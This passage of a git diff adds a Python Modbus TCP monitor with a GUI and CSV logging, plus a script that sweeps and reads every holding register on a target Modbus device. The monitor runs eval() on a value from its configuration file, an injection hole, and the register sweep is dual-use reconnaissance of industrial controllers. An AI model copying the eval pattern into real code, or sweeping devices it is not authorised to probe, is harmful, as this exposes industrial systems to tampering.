Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE 